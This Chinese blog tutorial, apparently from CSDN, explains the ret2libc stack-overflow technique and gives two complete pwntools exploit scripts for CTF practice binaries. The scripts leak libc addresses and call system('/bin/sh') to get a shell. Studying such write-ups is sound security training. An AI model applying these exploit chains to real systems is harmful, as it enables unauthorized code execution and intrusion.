ret2libc

本文深入探讨了ret2libc攻击原理,包括如何获取system函数地址,如何构造payload以执行system("/bin/sh"),以及如何利用puts和gets函数泄漏地址。此外,还介绍了如何在实际例题中应用ret2libc技术,涉及64位和32位环境。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、原理

  • payload = padding1 + address of system() + padding2 + address of “/bin/sh”

在这里插入图片描述

  • Padding1 随意填充, == 长度刚好覆盖基地址 == 长度与shellcode处的一样的方法

  • address of system() 是system在内存中的地址,用来覆盖返回地址

    • system()函数地址在哪里?

      从动态库中获取,计算绝对地址

  • padding2 数据长度应该为 4 (32位机) 由于不关心退出shell后的行为,可随意填⚠️当需要多次绕过时,这里应该填充system执行后需要返回的地址,否则程序栈会崩溃

  • address of ”/bin/sh“ 是字符串在内存中的地址,作为传给system的参数

    • 字符串哪里找?

      动态库搜索,计算绝对地址没有就将其加入环境变量,通过getenv()函数获取

  • 执行条件指向内存中的函数(操作系统关闭ASLR)

  • 获取libc中的system函数的地址,使用gdb,给main函数打上断点,然后使用

    p system
    

    该方法可以获取任意libc函数的地址

  • 设置system函数返回后的地址,以及为system函数构造我们预定的参数

  • 由于我们使用system的函数地址替换了原本的ip寄存器,强制执行了system函数.破坏了原程序栈桢分配和释放策略,所以后续的操作必须基于这个被破坏的栈桢结构来实现

  • 例如下面的payload中的padding2的操作应该是pop ip,也就是system函数调用完成后需要返回的地址

    • 为什么呢?
      • 因为在正常情况下,函数是通过call进行调用的,因此在进入system前,call指令已经通过push ip将返回地址push到函数调用栈中,所以在正常情况下ret指令pop到ip的数据就是call指令push到栈中的数据,也就是说两者是成对出现的
      • 但是!!!由于我们是直接通过覆盖ip的地址从而跳转到system函数,并没有经过call指令的调用,也就是并没有push ip的操作,但是system函数却照常执行了ret指令的pop ip的操作.
      • 因此,ret 指令pop到ip中的到底是哪一处的数据呢,答案就是padding2中的数据,也就是我们自己设定的system函数的返回地址
  • 知道了system部分的payload,那么如何获得system的地址以及bin/sh的地址呢?

    • 可以通过puts与gets函数,gets造成溢出,puts泄漏libc中的system以及/bin/sh的地址

      • bin在so文件中的地址

        • strings -t x libc.so | grep bin
          
      • 可执行的system(“/bin/sh”)在so文件中的地址

        • one_gadget  libc.so
          
    • 由于我们可以控制栈,根据rop的思想,我们需要找到的就是pop rdi;ret 前半段用于给第一个参数rdi赋值,后半段用于跳到其他代码片段

      • 如何找到可以赋值的参数呢?

        • 可以通过,ROPgadget,这里的值通常是固定的0x400833

          ROPgadget --binary file_name --only "pop|ret" | grep rdi	
          
    • 因此我们可以构造payload泄漏出puts函数的真实地址

  • 有了真实地址,我们还需要知道程序使用的libc,算出libc的基址

    • 这里可以使用LibcSearcher

      from LibcSearcher import *
      
      #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
      obj = LibcSearcher("fgets", 0X7ff39014bd90)
      
    • 知道了程序使用的libc,以及puts函数的真实地址,我们就可算出libc的基址,再通过基址加偏移就能得到函数的真实地址

      libc_base = 0X7ff39014bd90 - obj.dump("fgets")
      obj.dump("system")        #system 偏移
      obj.dump("str_bin_sh")    #/bin/sh 偏移
      #system的真实地址
      system_addr =libc_base +  obj.dump("system")
      
    • 这里有可能会遇到,匹配不到libc的错误,可以通过libc-database,添加libc

      ./get  # List categories
      ./get ubuntu debian  # Download Ubuntu's and Debian's libc, old default behavior
      ./get all  # Download all categories. Can take a while!
      
      #或者添加自身的libc
      ./add /usr/lib/libc-2.21.so
      

二、例题

1. buooj - ciscn_2019_c_1(64 位)
from pwn import *
#p = remote('node3.buuoj.cn',28190)
p = process('./ciscn_2019_c_1')
context.log_level = 'debug'

puts_plt = 0x4006e0
puts_got = 0x602020
gets_got = 0x602050
pop_rdi = 0x0000000000400c83
main = 0x4009a0
#step 1 泄露puts函数的真实地址
payload = b'\x00'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter('Input your choice!\n',str(1))
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
puts = u64(p.recv()[12:18].ljust(8,b'\x00'))
log.success("puts==>"+str(hex(puts)))

from LibcSearcher import *
#step 2 搜索该程序使用的libc版本,并找到内存中的system以及bin/sh 
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
ret = 0x4006b9

# step 3 构造system函数
payload = b'\x00'*0x58  + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
p.sendline(payload)
p.interactive()
2. ctfwiki - ret2libc3(32 位)
from pwn import *

p = process('./ret2libc3')
context.log_level = 'debug'


puts_plt = 0x8048460
puts_got = 0x804a018
main = 0x8048618
# 泄露 puts函数的内存中地址
payload = b'a'*112 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendlineafter('Can you find it !?',payload)
puts = u32(p.recv()[:4])
log.success("puts==>" + str(hex(puts)))


from LibcSearcher import *
# 查找该程序对应的libc版本号
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

# 构造system函数调用
payload = b'a'*104 + p32(system) + p32(main) + p32(bin_sh)
p.send(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值